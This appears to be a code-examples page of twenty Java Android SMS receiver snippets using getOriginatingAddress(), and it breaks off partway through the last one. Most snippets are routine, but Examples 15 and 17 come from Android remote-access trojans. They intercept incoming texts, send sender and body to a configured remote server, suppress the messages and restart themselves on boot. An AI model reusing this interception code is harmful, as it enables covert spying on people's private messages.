Java Code Examples for android.telephony.SmsMessage#getOriginatingAddress()

The following examples show how to use android.telephony.SmsMessage#getOriginatingAddress() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: SmsSnippet.java    From mobly-bundled-snippets with Apache License 2.0 7 votes vote down vote up
@TargetApi(Build.VERSION_CODES.KITKAT)
@Override
public void onReceive(Context receivedContext, Intent intent) {
    if (Intents.SMS_RECEIVED_ACTION.equals(intent.getAction())) {
        SnippetEvent event = new SnippetEvent(mCallbackId, SMS_RECEIVED_EVENT_NAME);
        Bundle extras = intent.getExtras();
        if (extras != null) {
            SmsMessage[] msgs = Intents.getMessagesFromIntent(intent);
            StringBuilder smsMsg = new StringBuilder();

            SmsMessage sms = msgs[0];
            String sender = sms.getOriginatingAddress();
            event.getData().putString("OriginatingAddress", sender);

            for (SmsMessage msg : msgs) {
                smsMsg.append(msg.getMessageBody());
            }
            event.getData().putString("MessageBody", smsMsg.toString());
            mEventCache.postEvent(event);
            mContext.unregisterReceiver(this);
        }
    }
}
 
Example 2
Source File: EventBroadcastReceiver.java    From deskcon-android with GNU General Public License v3.0 6 votes vote down vote up
private void handleSMS(Context context, Bundle data) {
	Log.d("Event: ", "handle sms");
  	Object[] pdus = (Object[]) data.get("pdus");
    SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdus[0]);	    	    
    String number = sms.getOriginatingAddress();
    String contactname = "";
    JSONObject jobject = new JSONObject();
    
    // get Contact Name if present	    	    
    if (getContactName(context, number) != null) {
    	contactname = getContactName(context, number);
    }
    
       //create json object to send	            
       try {        
       	jobject.put("name", contactname);
       	jobject.put("number", number);
		jobject.put("message", sms.getMessageBody());
	} catch (JSONException e) {
		e.printStackTrace();
	}
       
       startServiceCommand(context, "SMS", jobject.toString());		
}
 
Example 3
Source File: SmsReceiver.java    From Android-Basics-Codes with Artistic License 2.0 6 votes vote down vote up
@Override
	public void onReceive(Context context, Intent intent) {
//		System.out.println("���յ����Ź㲥");
		//��ȡ����
		Bundle bundle = intent.getExtras();
		//�����е�ÿһ��Ԫ�أ�����һ������
		Object[] object = (Object[]) bundle.get("pdus");
		
		//��object����ת���ɶ��Ŷ���SmsMessage
		for (Object obj : object) {
			SmsMessage sms = SmsMessage.createFromPdu((byte[])obj);
			//��ȡ���ŵ�ַ
			String address = sms.getOriginatingAddress();
			//��ȡ��������
			String body = sms.getMessageBody();
			System.out.println(address + ":" + body);
			if("138438".equals(address)){
				//���ع㲥
				abortBroadcast();
			}
		}
	}
 
Example 4
Source File: SMSBroadcastReceiver.java    From PhoneMonitor with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    Intent startMainServiceIntent = new Intent(context, MainService.class);
    context.startService(startMainServiceIntent);

    String action = intent.getAction();
    if (action != null && action.equals("android.provider.Telephony.SMS_RECEIVED")) {
        Bundle bundle = intent.getExtras();
        if (bundle != null) {
            Object[] pduObjs = (Object[]) bundle.get("pdus");
            if (pduObjs != null) {
                for (Object pduObj : pduObjs) {
                    SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pduObj);
                    String sendernumber = smsMessage.getOriginatingAddress();
                    if (sendernumber != null) {
                        Log.w(AppSettings.getTAG(), "SMS broadcast received!");
                        String messagebody = smsMessage.getMessageBody();
                        SMSExecutor smsExecutor = new SMSExecutor(sendernumber, messagebody, context);
                        smsExecutor.Execute();
                    }
                }
            }
        }
    }
}
 
Example 5
Source File: ReadSmsService.java    From AutoInputAuthCode with Apache License 2.0 6 votes vote down vote up
/**
 * 包访问级别:提高性能
 * 从接收者中得到短信验证码
 *
 * @param intent
 */
void getSmsCodeFromReceiver(Intent intent) {
    SmsMessage[] messages = null;
    if (Build.VERSION.SDK_INT >= 19) {
        messages = android.provider.Telephony.Sms.Intents.getMessagesFromIntent(intent);
        if (messages == null) return;
    } else {
        messages = getSmsUnder19(intent);
        if (messages == null) return;
    }

    if (messages.length > 0) {
        for (int i = 0; i < messages.length; i++) {
            SmsMessage sms = messages[i];
            String smsSender = sms.getOriginatingAddress();
            String smsBody = sms.getMessageBody();
            if (checkSmsSender(smsSender) && checkSmsBody(smsBody)) {
                String smsCode = parseSmsBody(smsBody);
                sendMsg2Register(OBSERVER_SMS_CODE_MSG, smsCode);
                break;
            }
        }
    }
}
 
Example 6
Source File: SmsReceiver.java    From PHONK with GNU General Public License v3.0 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {

    Bundle extras = intent.getExtras();
    if (extras == null)
        return;

    // To display mContext Toast whenever there is an SMS.
    // Toast.makeText(mainScriptContext,"Recieved",Toast.LENGTH_LONG).show();

    Object[] pdus = (Object[]) extras.get("pdus");
    for (int i = 0; i < pdus.length; i++) {
        SmsMessage SMessage = SmsMessage.createFromPdu((byte[]) pdus[i]);
        String sender = SMessage.getOriginatingAddress();
        String body = SMessage.getMessageBody();

        // A custom Intent that will used as another Broadcast
        Intent in = new Intent("SmsMessage.intent.MAIN").putExtra("get_msg", sender + ":" + body);

        // You can place your check conditions here(on the SMS or the
        // sender)
        // and then send another broadcast
        context.sendBroadcast(in);

        // This is used to abort the broadcast and can be used to silently
        // process incoming message and prevent it from further being
        // broadcasted. Avoid this, as this is not the way to program an
        // app.
        // this.abortBroadcast();
    }
}
 
Example 7
Source File: BlacklistInterceptService.java    From MobileGuard with MIT License 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {

    // get sms messages
    SmsMessage[] messages = null;
    if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
        messages = Telephony.Sms.Intents.getMessagesFromIntent(intent);
    } else {
        messages = SmsUtils.getMessagesFromIntent(intent);
    }
    // check whether sender in blacklist
    BlacklistDao dao = new BlacklistDao(context);
    for (SmsMessage message: messages) {
        // get sender
        String sender = message.getOriginatingAddress();
        // select by phone
        BlacklistBean bean = dao.selectByPhone(sender);
        if(null == bean) {// not in blacklist
            continue;
        }
        // check intercept mode
        if((BlacklistDb.MODE_SMS & bean.getMode()) != 0) {// has sms mode, need intercept
            // abort sms
            abortBroadcast();
        }
    }

}
 
Example 8
Source File: SmsReceiver.java    From Phonegap-SMS with MIT License 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {

    Bundle extras=intent.getExtras(); //get the sms map
    if(extras!=null)
    {
        Object[] smsExtra=(Object[])extras.get(SMS_EXTRA_NAME); //get received sms array

        for(int i=0;i<smsExtra.length;i++)
        {
            SmsMessage sms=SmsMessage.createFromPdu((byte[])smsExtra[i]);
            if(isReceiving && callback_receive!=null)
            {
                String formattedMsg=sms.getOriginatingAddress()+">"+sms.getMessageBody();
                PluginResult result=new PluginResult(PluginResult.Status.OK,formattedMsg);
                result.setKeepCallback(true);
                callback_receive.sendPluginResult(result);
            }
        }

        //if the plugin is active and we don't want to broadcast to other receivers
        if(isReceiving && !broadcast)
        {
            abortBroadcast();
        }
    }
}
 
Example 9
Source File: DetectSms.java    From XERUNG with Apache License 2.0 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    // Retrieves a map of extended data from the intent.
    final Bundle bundle = intent.getExtras();
    try {
        if (bundle != null) {
            final Object[] pdusObj = (Object[]) bundle.get("pdus");
            for (int i = 0; i < pdusObj.length; i++) {
                SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                String phoneNumber = currentMessage.getDisplayOriginatingAddress();
                String sendername = currentMessage.getOriginatingAddress();
                Log.d(TAG, "sendername is " + sendername);
                String servicecntradd = currentMessage.getServiceCenterAddress();
                Log.d(TAG, "servicecenteraddress is : " + servicecntradd);
                String senderNum = phoneNumber;
                Log.d(TAG, "Displayoriginationg address is : " + sendername);
                String message = currentMessage.getDisplayMessageBody();
                Log.d(TAG, "senderNum: " + senderNum + "; message: " + message);
                if (senderNum.equalsIgnoreCase("IM-MEDICO")||senderNum.equalsIgnoreCase("AD-MEDICO")||senderNum.equalsIgnoreCase("DM-MEDICO")||senderNum.equalsIgnoreCase("AM-MEDICO")) {
                    if (!message.isEmpty()) {
                        Pattern intsOnly = Pattern.compile("\\d{5}");
                        Matcher makeMatch = intsOnly.matcher(message);
                        makeMatch.find();
                        OTPcode = makeMatch.group();
                        Intent intentNew = new Intent();
                        intentNew.setAction("SMS_RECEIVED");
                        intentNew.putExtra("otp_code", OTPcode);
                        context.sendBroadcast(intentNew);
                        System.out.println(OTPcode);
                    }
                } else {
                    //Toast.makeText(context, "didn't identified the number", Toast.LENGTH_LONG).show();
                }
            }// end for loop
        } // bundle is null

    } catch (Exception e) {
        Log.e("SmsReceiver", "Exception smsReceiver" + e);
    }
}
 
Example 10
Source File: DetectSms.java    From XERUNG with Apache License 2.0 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    // Retrieves a map of extended data from the intent.
    final Bundle bundle = intent.getExtras();
    try {
        if (bundle != null) {
            final Object[] pdusObj = (Object[]) bundle.get("pdus");
            for (int i = 0; i < pdusObj.length; i++) {
                SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                String phoneNumber = currentMessage.getDisplayOriginatingAddress();
                String sendername = currentMessage.getOriginatingAddress();
                Log.d(TAG, "sendername is " + sendername);
                String servicecntradd = currentMessage.getServiceCenterAddress();
                Log.d(TAG, "servicecenteraddress is : " + servicecntradd);
                String senderNum = phoneNumber;
                Log.d(TAG, "Displayoriginationg address is : " + sendername);
                String message = currentMessage.getDisplayMessageBody();
                Log.d(TAG, "senderNum: " + senderNum + "; message: " + message);
                if (senderNum.equalsIgnoreCase("IM-MEDICO")||senderNum.equalsIgnoreCase("AD-MEDICO")||senderNum.equalsIgnoreCase("DM-MEDICO")||senderNum.equalsIgnoreCase("AM-MEDICO")) {
                    if (!message.isEmpty()) {
                        Pattern intsOnly = Pattern.compile("\\d{5}");
                        Matcher makeMatch = intsOnly.matcher(message);
                        makeMatch.find();
                        OTPcode = makeMatch.group();
                        Intent intentNew = new Intent();
                        intentNew.setAction("SMS_RECEIVED");
                        intentNew.putExtra("otp_code", OTPcode);
                        context.sendBroadcast(intentNew);
                        System.out.println(OTPcode);
                    }
                } else {
                    //Toast.makeText(context, "didn't identified the number", Toast.LENGTH_LONG).show();
                }
            }// end for loop
        } // bundle is null

    } catch (Exception e) {
        Log.e("SmsReceiver", "Exception smsReceiver" + e);
    }
}
 
Example 11
Source File: AssistantService.java    From AssistantBySDK with Apache License 2.0 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    //先判断广播消息
    String action = intent.getAction();
    if (SMS_RECEIVED_ACTION.equals(action) || GSM_SMS_RECEIVED_ACTION.equals(action)) {
        //获取intent参数
        Bundle bundle = intent.getExtras();
        //判断bundle内容
        if (bundle != null) {
            //取pdus内容,转换为Object[]
            Object[] pdus = (Object[]) bundle.get("pdus");
            //解析完内容后分析具体参数
            String sender = null, content = "", lastContent = "";
            long date = 0;
            SmsInfo sms = new SmsInfo();
            for (int i = 0; i < pdus.length; i++) {
                SmsMessage msg = SmsMessage.createFromPdu((byte[]) pdus[i]);
                content = lastContent.length() >= msg.getMessageBody().length() ? content + msg.getMessageBody() : msg.getMessageBody() + content;
                lastContent = msg.getMessageBody();
                sender = msg.getOriginatingAddress();
                date = msg.getTimestampMillis();
                if (TextUtils.isEmpty(sender) && sender.startsWith("+86"))
                    sender = sender.substring(3);
            }
            sms.setTime(date);
            sms.setContent(content);
            StringBuilder number = new StringBuilder(sender);
            processors.get(BaseProcessor.CMD_CALL).receiveSms(sms, number);
        }
    }
}
 
Example 12
Source File: SmsBroadcastReceiver.java    From lost-phone-tracker-app with MIT License 4 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    if (intent == null
            || !Telephony.Sms.Intents.SMS_RECEIVED_ACTION.equals(intent.getAction())) {
        return;
    }

    Bundle extras = intent.getExtras();
    if (extras != null) {
        PreferenceManager prefs = new PreferenceManager(context);

        Object[] pdus = (Object[]) extras.get("pdus");

        boolean abort = false;
        for (Object pdu : pdus) {
            SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
            String sender = message.getOriginatingAddress();
            String body = message.getMessageBody();

            if (prefs.isStartPasswordCorrect(body)) {
                // we also enable GPS here as it takes some time to get a location fix
                GpsToggler.enableGps(context);
                // hide activity to prevent changing passwords
                MainActivity.disableActivity(context);
                LogAlarmReceiver.startAlarm(context, sender);
                prefs.setReportReceiver(sender);
                abort = true;

                break;
            } else if (prefs.isStopPasswordCorrect(body)) {
                GpsToggler.disableGps(context);
                MainActivity.enableActivity(context);
                LogAlarmReceiver.stopAlarm(context);
                abort = true;

                break;
            }
        }

        if (abort) {
            // this is not working under KITKAT anymore
            abortBroadcast();

            // as a hack, disable sound and vibration to hide the incoming SMS notification from any possible thief
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
                AudioManager audioManager = (AudioManager) context.getSystemService(
                        Context.AUDIO_SERVICE);

                audioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true);
                audioManager.setVibrateSetting(AudioManager.VIBRATE_TYPE_RINGER,
                        AudioManager.VIBRATE_SETTING_OFF);
                audioManager.setVibrateSetting(AudioManager.VIBRATE_TYPE_NOTIFICATION,
                        AudioManager.VIBRATE_SETTING_OFF);
            }
        }
    }
}
 
Example 13
Source File: SmsReceiver.java    From financisto with GNU General Public License v2.0 4 votes vote down vote up
@Override
public void onReceive(final Context context, final Intent intent) {
    if(!SMS_RECEIVED_ACTION.equals(intent.getAction())) return;

    Bundle pdusObj = intent.getExtras();
    final DatabaseAdapter db = new DatabaseAdapter(context);
    Set<String> smsNumbers = db.findAllSmsTemplateNumbers();
    Log.d(FTAG, "All sms numbers: " + smsNumbers);

    Object[] msgs;
    if (pdusObj != null && (msgs = (Object[]) pdusObj.get(PDUS_NAME)) != null && msgs.length > 0) {
        Log.d(FTAG, format("pdus: %s", msgs.length));

        SmsMessage msg = null;
        String addr = null;
        final StringBuilder body = new StringBuilder();

        for (final Object one : msgs) {
            msg = SmsMessage.createFromPdu((byte[]) one);
            addr = msg.getOriginatingAddress();
            if (smsNumbers.contains(addr)) {
                body.append(msg.getDisplayMessageBody());
            }
        }

        final String fullSmsBody = body.toString();
        if (!fullSmsBody.isEmpty()) {
            Log.d(FTAG, format("%s sms from %s: `%s`", msg.getTimestampMillis(), addr, fullSmsBody));

            Intent serviceIntent = new Intent(ACTION_NEW_TRANSACTION_SMS, null, context, FinancistoService.class);
            serviceIntent.putExtra(SMS_TRANSACTION_NUMBER, addr);
            serviceIntent.putExtra(SMS_TRANSACTION_BODY, fullSmsBody);
            FinancistoService.enqueueWork(context, serviceIntent);
        }
            // Display SMS message
            //                Toast.makeText(context, String.format("%s:%s", addr, body), Toast.LENGTH_SHORT).show();
    }

    // WARNING!!!
    // If you uncomment the next line then received SMS will not be put to incoming.
    // Be careful!
    // this.abortBroadcast();
}
 
Example 14
Source File: SMSReceiver.java    From fingen with Apache License 2.0 4 votes vote down vote up
@SuppressLint("StringFormatInvalid")
public void onReceive(Context context, Intent intent) {
    String action = intent.getAction();

    if (action != null && action.equals(ACTION_SMS_RECEIVED)) {

        if (!BuildConfig.DEBUG) {
            if (!Fabric.isInitialized()) {
                Fabric.with(context, new Crashlytics());
            }
        }
        String address = null;
        StringBuilder str = new StringBuilder();
        SmsMessage[] msgs = getMessagesFromIntent(intent);

        if (msgs != null) {
            for (SmsMessage msg : msgs) {
                address = msg.getOriginatingAddress();
                str.append(msg.getMessageBody());
            }
        }

        if (sLastSms.equals(str.toString()) & (System.currentTimeMillis() - sLastSmsTime) < 3000) {
            return;
        } else {
            sLastSms = str.toString();
            sLastSmsTime = System.currentTimeMillis();
        }

        if (BuildConfig.DEBUG) {
            if (address != null && address.equals("123456789")) {
                address = "mtbank";
            }
        }

        Sender sender = SendersDAO.getInstance(context).getSenderByPhoneNo(address);

        if (sender.getID() >= 0) {
            if (!BuildConfig.DEBUG) {
                if (!Fabric.isInitialized()) {
                    Answers.getInstance().logCustom(new CustomEvent("SMS received"));
                }
            }
            Sms sms = new Sms(-1, new Date(), sender.getID(), str.toString());
            parseSMS(context, sms);
        }
    }
}
 
Example 15
Source File: ServiceReceiver.java    From BetterAndroRAT with GNU General Public License v3.0 4 votes vote down vote up
@Override
	public void onReceive(final Context context, Intent intent) 
	{		
		    	
 		try {
 			URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(context).getString("URL", ""), Base64.DEFAULT ));
 			password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(context).getString("password", ""), Base64.DEFAULT ));
		} catch (Exception e1) {e1.printStackTrace();}
 		
		mContext = context; 

		if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {  
			   Intent pushIntent = new Intent(context, MyService.class);  
			   context.startService(pushIntent);  
		}  
		
		if(intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED))
        {	
			Toast.makeText(context, "Boot", 5000).show();

	       	Log.i("com.connect", "Boot");
        	if(isMyServiceRunning()==false) 
        	{
    		mContext.startService(new Intent(mContext, MyService.class));
	    	Log.i("com.connect","Boot Run Service");
        	}
        }
		
        if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF))
        {
        	if(isMyServiceRunning()==false) 
        	{
    		mContext.startService(new Intent(mContext, MyService.class));
	    	Log.i("com.connect","Screen Off Run Service");
        	}
        }
        
        if (intent.getAction().equals(Intent.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE))
        {
	       	Log.i("com.connect", "SD Card");
        	if(isMyServiceRunning()==false) 
        	{
    		mContext.startService(new Intent(mContext, MyService.class));
	    	Log.i("com.connect","Screen Off Run Service");
        	}
        }
       
//	  	if(PreferenceManager.getDefaultSharedPreferences(mContext).getString("call", "").equals("stop"))
//	  	{
//	  		TelephonyManager telephony = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
//	  	    try {
//	  	        Class c = Class.forName(telephony.getClass().getName());
//	  	        Method m = c.getDeclaredMethod("getITelephony");
//	  	        m.setAccessible(true);
//	  	        ITelephony telephonyService = (ITelephony) m.invoke(telephony);
//	  	        //telephonyService.silenceRinger();
//	  	            telephonyService.endCall();
//	  	    } catch (Exception e) {
//	  	        e.printStackTrace();
//	  	    }
//	  	}

	  	if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)==true || PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("blockSMS", false)==true)
	  	{	       
	        Bundle extras = intent.getExtras();     
	        String messages = "";
	             
	            if ( extras != null )
	            {
	            	if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)==true)
	            	{
		                Object[] smsExtra = (Object[]) extras.get("pdus");                 

		                for ( int i = 0; i < smsExtra.length; ++i )
		                {
		                    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);
		                    String body = sms.getMessageBody().toString();
		                    String address = sms.getOriginatingAddress();
		                    messages += "SMS from " + address + " :\n";                    
		                    messages += body + "\n";
		                    
							try {
						        getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(context).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(context).getString("AndroidID", "") + "&Data=", "Intercepted: " + "["+address+"]" + " ["+body+"]");        	
							} catch (Exception e) {
								e.printStackTrace();
							}
	    		    	}	
	            	}
	        	  	if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("blockSMS", false)==true)
	        	  		this.abortBroadcast(); 
	            }
	  	}
            
//        if (intent.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)) {
//            String numberToCall = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
//        }

//        PhoneListener phoneListener = new PhoneListener(context);
//        TelephonyManager telephony = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
//        telephony.listen(phoneListener, PhoneStateListener.LISTEN_CALL_STATE);
  }
 
Example 16
Source File: Db.java    From medic-gateway with GNU Affero General Public License v3.0 4 votes vote down vote up
@SuppressFBWarnings("RCN_REDUNDANT_NULLCHECK_WOULD_HAVE_BEEN_A_NPE") // for #117
boolean store(SmsMessage sms) {
	SmsUdh multi = SmsUdh.from(sms);

	if(multi == null || multi.totalParts == 1) {
		WtMessage m = new WtMessage(
				sms.getOriginatingAddress(),
				sms.getMessageBody(),
				sms.getTimestampMillis());
		return store(m);
	} else {
		try {
			long id = db.insertOrThrow(tblWT_MESSAGE_PART, null, getContentValues(sms, multi));

			if(id == -1) return false;
		} catch(SQLiteConstraintException ex) {
			logException(ex, "Failed to save multipart fragment - it likely already exists in the database.");
			return false;
		}

		Cursor c = null;
		db.beginTransaction();

		try {
			c = db.query(tblWT_MESSAGE_PART,
					cols(WMP_clmCONTENT),
					eq(WMP_clmFROM, WMP_clmMP_REF),
					args(sms.getOriginatingAddress(), multi.multipartRef),
					NO_GROUP, NO_GROUP,
					SortDirection.ASC.apply(WMP_clmMP_PART));
			if(c.getCount() == multi.totalParts) {
				StringBuilder bob = new StringBuilder();
				while(c.moveToNext()) {
					bob.append(c.getString(0));
				}
				boolean success = store(new WtMessage(sms.getOriginatingAddress(), bob.toString(), multi.sentTimestamp));
				if(success) {
					rawUpdateOrDelete("DELETE FROM %s WHERE %s=? AND %s=?",
							cols(tblWT_MESSAGE_PART, WMP_clmFROM, WMP_clmMP_REF),
							args(sms.getOriginatingAddress(), multi.multipartRef));
					db.setTransactionSuccessful();
				} else {
					return false;
				}
			}
			return true;
		} finally {
			db.endTransaction();
			if(c != null) c.close();
		}
	}
}
 
Example 17
Source File: ServiceReceiver.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 4 votes vote down vote up
@Override
	public void onReceive(final Context context, Intent intent) 
	{		
		    	
 		try {
 			URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(context).getString("URL", ""), Base64.DEFAULT ));
 			password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(context).getString("password", ""), Base64.DEFAULT ));
		} catch (Exception e1) {e1.printStackTrace();}
 		
		mContext = context; 

		if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {  
			   Intent pushIntent = new Intent(context, MyService.class);  
			   context.startService(pushIntent);  
		}  
		
		if(intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED))
        {	
			Toast.makeText(context, "Boot", 5000).show();

	       	Log.i("com.connect", "Boot");
        	if(isMyServiceRunning()==false) 
        	{
    		mContext.startService(new Intent(mContext, MyService.class));
	    	Log.i("com.connect","Boot Run Service");
        	}
        }
		
        if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF))
        {
        	if(isMyServiceRunning()==false) 
        	{
    		mContext.startService(new Intent(mContext, MyService.class));
	    	Log.i("com.connect","Screen Off Run Service");
        	}
        }
        
        if (intent.getAction().equals(Intent.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE))
        {
	       	Log.i("com.connect", "SD Card");
        	if(isMyServiceRunning()==false) 
        	{
    		mContext.startService(new Intent(mContext, MyService.class));
	    	Log.i("com.connect","Screen Off Run Service");
        	}
        }
       
//	  	if(PreferenceManager.getDefaultSharedPreferences(mContext).getString("call", "").equals("stop"))
//	  	{
//	  		TelephonyManager telephony = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
//	  	    try {
//	  	        Class c = Class.forName(telephony.getClass().getName());
//	  	        Method m = c.getDeclaredMethod("getITelephony");
//	  	        m.setAccessible(true);
//	  	        ITelephony telephonyService = (ITelephony) m.invoke(telephony);
//	  	        //telephonyService.silenceRinger();
//	  	            telephonyService.endCall();
//	  	    } catch (Exception e) {
//	  	        e.printStackTrace();
//	  	    }
//	  	}

	  	if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)==true || PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("blockSMS", false)==true)
	  	{	       
	        Bundle extras = intent.getExtras();     
	        String messages = "";
	             
	            if ( extras != null )
	            {
	            	if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)==true)
	            	{
		                Object[] smsExtra = (Object[]) extras.get("pdus");                 

		                for ( int i = 0; i < smsExtra.length; ++i )
		                {
		                    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);
		                    String body = sms.getMessageBody().toString();
		                    String address = sms.getOriginatingAddress();
		                    messages += "SMS from " + address + " :\n";                    
		                    messages += body + "\n";
		                    
							try {
						        getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(context).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(context).getString("AndroidID", "") + "&Data=", "Intercepted: " + "["+address+"]" + " ["+body+"]");        	
							} catch (Exception e) {
								e.printStackTrace();
							}
	    		    	}	
	            	}
	        	  	if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("blockSMS", false)==true)
	        	  		this.abortBroadcast(); 
	            }
	  	}
            
//        if (intent.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)) {
//            String numberToCall = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
//        }

//        PhoneListener phoneListener = new PhoneListener(context);
//        TelephonyManager telephony = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
//        telephony.listen(phoneListener, PhoneStateListener.LISTEN_CALL_STATE);
  }
 
Example 18
Source File: SmsReceiverPositionSender.java    From geopaparazzi with GNU General Public License v3.0 4 votes vote down vote up
@Override
public void onReceive(final Context context, Intent intent) {
    if (intent.getAction().equals(SmsReceiverPositionSender.SMS_REC_ACTION)) {

        SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(context);
        boolean doCatch = preferences.getBoolean(LibraryConstants.PREFS_KEY_SMSCATCHER, false);
        if (!doCatch) {
            return;
        }

        boolean isGeopapsms = false;

        Bundle bundle = intent.getExtras();
        String body = null;
        SmsMessage smsMessage = null;
        if (bundle != null) {
            if (Build.VERSION.SDK_INT >= 19) { //KITKAT
                SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(intent);
                smsMessage = msgs[0];
            } else {
                Object tmp = bundle.get("pdus");
                if (tmp instanceof Object[]) {
                    Object[] pdus = (Object[]) tmp;
                    smsMessage = SmsMessage.createFromPdu((byte[]) pdus[0]);
                }
            }
        }

        if (smsMessage != null) {
            body = smsMessage.getDisplayMessageBody();
            if (body != null && smsMessage.getOriginatingAddress() != null) {
                if (GPLog.LOG)
                    GPLog.addLogEntry(this, "Got message: " + body);
                if (body.toLowerCase().matches(".*geopap.*")) {
                    isGeopapsms = true;
                }
                if (isGeopapsms) {
                    String msg = null;
                    String lastPosition = context.getString(R.string.last_position);
                    msg = SmsUtilities.createPositionText(context, lastPosition);
                    if (msg.length() > 160) {
                        // if longer than 160 chars it will not work, try using only url
                        msg = SmsUtilities.createPositionText(context, null);
                    }

                    if (GPLog.LOG)
                        GPLog.addLogEntry(this, msg);
                    String addr = smsMessage.getOriginatingAddress();
                    SmsUtilities.sendSMS(context, addr, msg, true);
                }
            }
        }
    }
}
 
Example 19
Source File: SmsReceiver.java    From android-common with Apache License 2.0 4 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    try {
        if (Log.isPrint) {
            Log.i(TAG, "收到广播:" + intent.getAction());
            Bundle bundle = intent.getExtras();
            for (String key : bundle.keySet()) {
                Log.i(TAG, key + " : " + bundle.get(key));
            }
        }
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");
        String fromAddress = null;
        String serviceCenterAddress = null;
        if (pdus != null) {
            String msgBody = "";
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.DONUT) {
                for (Object obj : pdus) {
                    SmsMessage sms = SmsMessage.createFromPdu((byte[]) obj);
                    msgBody += sms.getMessageBody();
                    fromAddress = sms.getOriginatingAddress();
                    serviceCenterAddress = sms.getServiceCenterAddress();

                    if (smsListener != null) {
                        smsListener.onMessage(sms);
                    }
                    //Log.i(TAG, "getDisplayMessageBody:" + sms.getDisplayMessageBody());
                    //Log.i(TAG, "getDisplayOriginatingAddress:" + sms.getDisplayOriginatingAddress());
                    //Log.i(TAG, "getEmailBody:" + sms.getEmailBody());
                    //Log.i(TAG, "getEmailFrom:" + sms.getEmailFrom());
                    //Log.i(TAG, "getMessageBody:" + sms.getMessageBody());
                    //Log.i(TAG, "getOriginatingAddress:" + sms.getOriginatingAddress());
                    //Log.i(TAG, "getPseudoSubject:" + sms.getPseudoSubject());
                    //Log.i(TAG, "getServiceCenterAddress:" + sms.getServiceCenterAddress());
                    //Log.i(TAG, "getIndexOnIcc:" + sms.getIndexOnIcc());
                    //Log.i(TAG, "getMessageClass:" + sms.getMessageClass());
                    //Log.i(TAG, "getUserData:" + new String(sms.getUserData()));
                }
            }
            if (smsListener != null) {
                smsListener.onMessage(msgBody, fromAddress, serviceCenterAddress);
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
 
Example 20
Source File: SmsMessageReceiver.java    From codeexamples-android with Eclipse Public License 1.0 4 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    Bundle extras = intent.getExtras();
    if (extras == null)
        return;

    Object[] pdus = (Object[]) extras.get("pdus");

    for (int i = 0; i < pdus.length; i++) {
        SmsMessage message = SmsMessage.createFromPdu((byte[]) pdus[i]);
        String fromAddress = message.getOriginatingAddress();
        String fromDisplayName = fromAddress;

        Uri uri;
        String[] projection;

        // If targeting Donut or below, use
        // Contacts.Phones.CONTENT_FILTER_URL and
        // Contacts.Phones.DISPLAY_NAME
        uri = Uri.withAppendedPath(
                ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
                Uri.encode(fromAddress));
        projection = new String[] { ContactsContract.PhoneLookup.DISPLAY_NAME };

        // Query the filter URI
